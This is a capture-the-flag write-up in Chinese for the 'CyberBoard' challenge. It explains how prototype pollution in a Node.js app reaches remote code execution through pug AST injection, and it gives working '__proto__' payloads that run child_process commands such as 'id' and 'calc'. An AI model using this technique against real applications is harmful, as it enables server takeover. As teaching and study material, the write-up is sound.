强网青少赛CyberBoard复现wp

发现有原型链污染

但是没有模板注入

踩坑

会不会在其他地方有模板注入,再去看看其他地方,无果

一点思路

我们的污染Message类的原型,改变它的属性不能造成rce,所以我们的思路变成继续向上污染,通过污染Object类的原型来改变其他类的属性,从而造成rce。

AST注入

结合pug模板,通过改变它的AST语法树,我们能够影响模板解析的js代码,从而rce
可以看出这里的js字符串是直接当成命令执行的

1
`function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;\n var locals_for_with = (locals || {});\n \n (function (messages, user) {\n ;pug_debug_line = 1;pug_debug_filename = "C:\\\\Users\\\\leon\\\\Desktop\\\\src\\\\views\\\\layout.pug";\npug_html = pug_html + "\\u003C!DOCTYPE html\\u003E";\n;pug_debug_line = 2;pug_debug_filename = "C:\\\\Users\\\\leon\\\\Desktop\\\\src\\\\views\\\\layout.pug";\npug_html = pug_html + "\\u003Chtml lang=\\"en\\"\\u003E";\n;p…ug_html = pug_html + "\\u003Cscript src=\\"\\u002Fjs\\u002Fmain.js\\"\\u003E\\u003C\\u002Fscript\\u003E\\u003C\\u002Fbody\\u003E\\u003C\\u002Fhtml\\u003E";\n }.call(this, "messages" in locals_for_with ?\n locals_for_with.messages :\n typeof messages !== 'undefined' ? messages : undefined, "user" in locals_for_with ?\n locals_for_with.user :\n typeof user !== 'undefined' ? user : undefined));\n ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}`

怎么控制js呢?

1
2
3
4
5
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}

语法树中block会被递归解析

我们在pug_debug_line中插入要执行的代码,即让
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

Object.prototype.block = {"type":"Text","line":"process.mainModule.require('child_process').exec('calc')"};

所以最终我们的payload是

1
content="1","__proto__":{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require('child_process').exec('calc')"}}}

拿到rce